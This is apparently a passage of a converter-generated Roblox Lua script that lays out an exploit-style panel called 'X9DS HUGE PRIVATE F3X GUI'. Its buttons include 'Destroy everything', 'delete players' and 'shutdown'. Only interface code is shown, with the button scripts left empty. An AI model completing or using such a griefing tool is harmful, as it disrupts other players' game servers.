xddddd

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LanguageLua
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--[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 95 | Scripts: 45 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; G2L["1"]["ResetOnSpawn"] = false; -- StarterGui.ScreenGui.ImageLabel G2L["2"] = Instance.new("ImageLabel", G2L["1"]); G2L["2"]["BorderSizePixel"] = 0; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2"]["Image"] = [[rbxassetid://93092188749697]]; G2L["2"]["Size"] = UDim2.new(0, 533, 0, 757); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Position"] = UDim2.new(0.25624, 0, 0.02216, 0); -- StarterGui.ScreenGui.ImageLabel.LocalScript G2L["3"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.ImageLabel.Frame G2L["4"] = Instance.new("Frame", G2L["2"]); G2L["4"]["BorderSizePixel"] = 5; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Size"] = UDim2.new(0, 533, 0, 757); G2L["4"]["Position"] = UDim2.new(-0.00046, 0, -0.00054, 0); G2L["4"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["4"]["BackgroundTransparency"] = 0.2; -- StarterGui.ScreenGui.ImageLabel.Frame.TextLabel G2L["5"] = Instance.new("TextLabel", G2L["4"]); G2L["5"]["BorderSizePixel"] = 5; G2L["5"]["TextSize"] = 35; G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["Size"] = UDim2.new(0, 386, 0, 58); G2L["5"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["5"]["Text"] = [[X9DS HUGE PRIVATE F3X GUI]]; -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame G2L["6"] = Instance.new("ScrollingFrame", G2L["4"]); G2L["6"]["Active"] = true; G2L["6"]["BorderSizePixel"] = 0; G2L["6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["Size"] = UDim2.new(0, 527, 0, 711); G2L["6"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["Position"] = UDim2.new(0, 0, 0.08454, 0); G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["BackgroundTransparency"] = 1; -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["7"] = Instance.new("TextButton", G2L["6"]); G2L["7"]["TextWrapped"] = true; G2L["7"]["BorderSizePixel"] = 5; G2L["7"]["TextSize"] = 36; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["7"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["7"]["Text"] = [[F3X]]; G2L["7"]["Position"] = UDim2.new(0.02635, 0, 0.00667, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["9"] = Instance.new("TextButton", G2L["6"]); G2L["9"]["TextWrapped"] = true; G2L["9"]["BorderSizePixel"] = 5; G2L["9"]["TextSize"] = 36; G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["9"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["9"]["Text"] = [[theme]]; G2L["9"]["Position"] = UDim2.new(0.70376, 0, 0.00667, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["a"] = Instance.new("LocalScript", G2L["9"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["b"] = Instance.new("TextButton", G2L["6"]); G2L["b"]["TextWrapped"] = true; G2L["b"]["BorderSizePixel"] = 5; G2L["b"]["TextSize"] = 36; G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["b"]["Text"] = [[HINT]]; G2L["b"]["Position"] = UDim2.new(0.02635, 0, 0.04828, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["c"] = Instance.new("LocalScript", G2L["b"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["d"] = Instance.new("TextButton", G2L["6"]); G2L["d"]["TextWrapped"] = true; G2L["d"]["BorderSizePixel"] = 5; G2L["d"]["TextSize"] = 36; G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["d"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["d"]["Text"] = [[Message]]; G2L["d"]["Position"] = UDim2.new(0.31098, 0, 0.04828, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["e"] = Instance.new("LocalScript", G2L["d"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["f"] = Instance.new("TextButton", G2L["6"]); G2L["f"]["TextWrapped"] = true; G2L["f"]["BorderSizePixel"] = 5; G2L["f"]["TextSize"] = 36; G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["f"]["Text"] = [[teams]]; G2L["f"]["Position"] = UDim2.new(0.59561, 0, 0.04828, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["10"] = Instance.new("LocalScript", G2L["f"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["11"] = Instance.new("TextButton", G2L["6"]); G2L["11"]["TextWrapped"] = true; G2L["11"]["BorderSizePixel"] = 5; G2L["11"]["TextSize"] = 36; G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["11"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["11"]["Text"] = [[Decal 1]]; G2L["11"]["Position"] = UDim2.new(0.02635, 0, 0.08725, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["12"] = Instance.new("LocalScript", G2L["11"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["13"] = Instance.new("TextButton", G2L["6"]); G2L["13"]["TextWrapped"] = true; G2L["13"]["BorderSizePixel"] = 5; G2L["13"]["TextSize"] = 36; G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["13"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["13"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["13"]["Text"] = [[Decal 2]]; G2L["13"]["Position"] = UDim2.new(0.31098, 0, 0.08725, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["14"] = Instance.new("LocalScript", G2L["13"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["15"] = Instance.new("TextButton", G2L["6"]); G2L["15"]["TextWrapped"] = true; G2L["15"]["BorderSizePixel"] = 5; G2L["15"]["TextSize"] = 36; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["15"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["15"]["Text"] = [[Sky 1]]; G2L["15"]["Position"] = UDim2.new(0.59561, 0, 0.08725, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["16"] = Instance.new("LocalScript", G2L["15"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["17"] = Instance.new("TextButton", G2L["6"]); G2L["17"]["TextWrapped"] = true; G2L["17"]["BorderSizePixel"] = 5; G2L["17"]["TextSize"] = 36; G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["17"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["17"]["Text"] = [[Sky 2]]; G2L["17"]["Position"] = UDim2.new(0.02635, 0, 0.12688, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["18"] = Instance.new("LocalScript", G2L["17"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["19"] = Instance.new("TextButton", G2L["6"]); G2L["19"]["TextWrapped"] = true; G2L["19"]["BorderSizePixel"] = 5; G2L["19"]["TextSize"] = 36; G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["19"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["19"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["19"]["Text"] = [[Trippy Sky]]; G2L["19"]["Position"] = UDim2.new(0.31098, 0, 0.12688, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["1a"] = Instance.new("LocalScript", G2L["19"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["1b"] = Instance.new("TextButton", G2L["6"]); G2L["1b"]["TextWrapped"] = true; G2L["1b"]["BorderSizePixel"] = 5; G2L["1b"]["TextSize"] = 36; G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["1b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["1b"]["Text"] = [[Realm]]; G2L["1b"]["Position"] = UDim2.new(0.59561, 0, 0.12688, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["1d"] = Instance.new("TextButton", G2L["6"]); G2L["1d"]["TextWrapped"] = true; G2L["1d"]["BorderSizePixel"] = 5; G2L["1d"]["TextSize"] = 36; G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["1d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["1d"]["Text"] = [[toadroast]]; G2L["1d"]["Position"] = UDim2.new(0.02635, 0, 0.16519, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["1e"] = Instance.new("LocalScript", G2L["1d"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["1f"] = Instance.new("TextButton", G2L["6"]); G2L["1f"]["TextWrapped"] = true; G2L["1f"]["BorderSizePixel"] = 5; G2L["1f"]["TextSize"] = 36; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["Size"] = UDim2.new(0, 282, 0, 33); G2L["1f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["1f"]["Text"] = [[Destroy everything]]; G2L["1f"]["Position"] = UDim2.new(0.31098, 0, 0.16519, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["21"] = Instance.new("TextButton", G2L["6"]); G2L["21"]["TextWrapped"] = true; G2L["21"]["BorderSizePixel"] = 5; G2L["21"]["TextSize"] = 36; G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["Size"] = UDim2.new(0, 201, 0, 33); G2L["21"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["21"]["Text"] = [[gravity hammer]]; G2L["21"]["Position"] = UDim2.new(0.02635, 0, 0.20416, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["22"] = Instance.new("LocalScript", G2L["21"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["23"] = Instance.new("TextButton", G2L["6"]); G2L["23"]["TextWrapped"] = true; G2L["23"]["BorderSizePixel"] = 5; G2L["23"]["TextSize"] = 36; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["Size"] = UDim2.new(0, 77, 0, 33); G2L["23"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["23"]["Text"] = [[666]]; G2L["23"]["Position"] = UDim2.new(0.4495, 0, 0.20416, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["25"] = Instance.new("TextButton", G2L["6"]); G2L["25"]["TextWrapped"] = true; G2L["25"]["BorderSizePixel"] = 5; G2L["25"]["TextSize"] = 36; G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25"]["Size"] = UDim2.new(0, 136, 0, 33); G2L["25"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["25"]["Text"] = [[particles]]; G2L["25"]["Position"] = UDim2.new(0.62786, 0, 0.20416, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["26"] = Instance.new("LocalScript", G2L["25"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["27"] = Instance.new("TextButton", G2L["6"]); G2L["27"]["TextWrapped"] = true; G2L["27"]["BorderSizePixel"] = 5; G2L["27"]["TextSize"] = 36; G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["Size"] = UDim2.new(0, 136, 0, 33); G2L["27"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["27"]["Text"] = [[grandsola]]; G2L["27"]["Position"] = UDim2.new(0.02635, 0, 0.24181, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["28"] = Instance.new("LocalScript", G2L["27"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["29"] = Instance.new("TextButton", G2L["6"]); G2L["29"]["TextWrapped"] = true; G2L["29"]["BorderSizePixel"] = 5; G2L["29"]["TextSize"] = 36; G2L["29"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["29"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29"]["Size"] = UDim2.new(0, 136, 0, 33); G2L["29"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["29"]["Text"] = [[sonic exe]]; G2L["29"]["Position"] = UDim2.new(0.31098, 0, 0.24181, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["2a"] = Instance.new("LocalScript", G2L["29"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["2b"] = Instance.new("TextButton", G2L["6"]); G2L["2b"]["TextWrapped"] = true; G2L["2b"]["BorderSizePixel"] = 5; G2L["2b"]["TextSize"] = 36; G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["Size"] = UDim2.new(0, 136, 0, 33); G2L["2b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["2b"]["Text"] = [[mosque]]; G2L["2b"]["Position"] = UDim2.new(0.59561, 0, 0.24181, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["2c"] = Instance.new("LocalScript", G2L["2b"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["2d"] = Instance.new("TextButton", G2L["6"]); G2L["2d"]["TextWrapped"] = true; G2L["2d"]["BorderSizePixel"] = 5; G2L["2d"]["TextSize"] = 36; G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["2d"]["Text"] = [[mystic]]; G2L["2d"]["Position"] = UDim2.new(0.02635, 0, 0.27945, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["2e"] = Instance.new("LocalScript", G2L["2d"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["2f"] = Instance.new("TextButton", G2L["6"]); G2L["2f"]["TextWrapped"] = true; G2L["2f"]["BorderSizePixel"] = 5; G2L["2f"]["TextSize"] = 36; G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["2f"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["2f"]["Text"] = [[ball rain]]; G2L["2f"]["Position"] = UDim2.new(0.28441, 0, 0.27945, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["30"] = Instance.new("LocalScript", G2L["2f"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["31"] = Instance.new("TextButton", G2L["6"]); G2L["31"]["TextWrapped"] = true; G2L["31"]["BorderSizePixel"] = 5; G2L["31"]["TextSize"] = 36; G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["31"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["31"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["31"]["Text"] = [[john doe]]; G2L["31"]["Position"] = UDim2.new(0.52688, 0, 0.27966, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["32"] = Instance.new("LocalScript", G2L["31"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["33"] = Instance.new("TextButton", G2L["6"]); G2L["33"]["TextWrapped"] = true; G2L["33"]["BorderSizePixel"] = 5; G2L["33"]["TextSize"] = 36; G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["33"]["Size"] = UDim2.new(0, 223, 0, 33); G2L["33"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["33"]["Text"] = [[witch hunt others]]; G2L["33"]["Position"] = UDim2.new(0.02594, 0, 0.31533, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["34"] = Instance.new("LocalScript", G2L["33"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["35"] = Instance.new("TextButton", G2L["6"]); G2L["35"]["TextWrapped"] = true; G2L["35"]["BorderSizePixel"] = 5; G2L["35"]["TextSize"] = 36; G2L["35"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["35"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35"]["Size"] = UDim2.new(0, 211, 0, 33); G2L["35"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["35"]["Text"] = [[delete players]]; G2L["35"]["Position"] = UDim2.new(0.48514, 0, 0.31533, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["36"] = Instance.new("LocalScript", G2L["35"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["37"] = Instance.new("TextButton", G2L["6"]); G2L["37"]["TextWrapped"] = true; G2L["37"]["BorderSizePixel"] = 5; G2L["37"]["TextSize"] = 36; G2L["37"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["37"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["37"]["Size"] = UDim2.new(0, 126, 0, 33); G2L["37"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["37"]["Text"] = [[unanchor]]; G2L["37"]["Position"] = UDim2.new(0.02594, 0, 0.34769, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["38"] = Instance.new("LocalScript", G2L["37"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["39"] = Instance.new("TextButton", G2L["6"]); G2L["39"]["TextWrapped"] = true; G2L["39"]["BorderSizePixel"] = 5; G2L["39"]["TextSize"] = 36; G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["39"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["39"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["39"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["39"]["Text"] = [[shutdown]]; G2L["39"]["Position"] = UDim2.new(0.29959, 0, 0.34749, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["3a"] = Instance.new("LocalScript", G2L["39"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["3b"] = Instance.new("TextButton", G2L["6"]); G2L["3b"]["TextWrapped"] = true; G2L["3b"]["BorderSizePixel"] = 5; G2L["3b"]["TextSize"] = 36; G2L["3b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["Size"] = UDim2.new(0, 132, 0, 33); G2L["3b"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["3b"]["Text"] = [[shedletsky]]; G2L["3b"]["Position"] = UDim2.new(0.58422, 0, 0.34749, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["3c"] = Instance.new("LocalScript", G2L["3b"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["3d"] = Instance.new("TextButton", G2L["6"]); G2L["3d"]["TextWrapped"] = true; G2L["3d"]["BorderSizePixel"] = 5; G2L["3d"]["TextSize"] = 36; G2L["3d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3d"]["Size"] = UDim2.new(0, 177, 0, 33); G2L["3d"]["BorderColor3"] = Color3.fromRGB(184, 0, 255); G2L["3d"]["Text"] = [[char all x9d]]; G2L["3d"]["Position"] = UDim2.new(0.02445, 0, 0.38183, 0); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript G2L["3e"] = Instance.new("LocalScript", G2L["3d"]); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton G2L["3f"] = Instance.new("TextButton", G2L["6"]); G2L["3f"]["TextWrapped"] = true; G2L["3f"]["BorderSizePixel"] = 5; G2L["3f"]["TextSize"] = 36; G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); 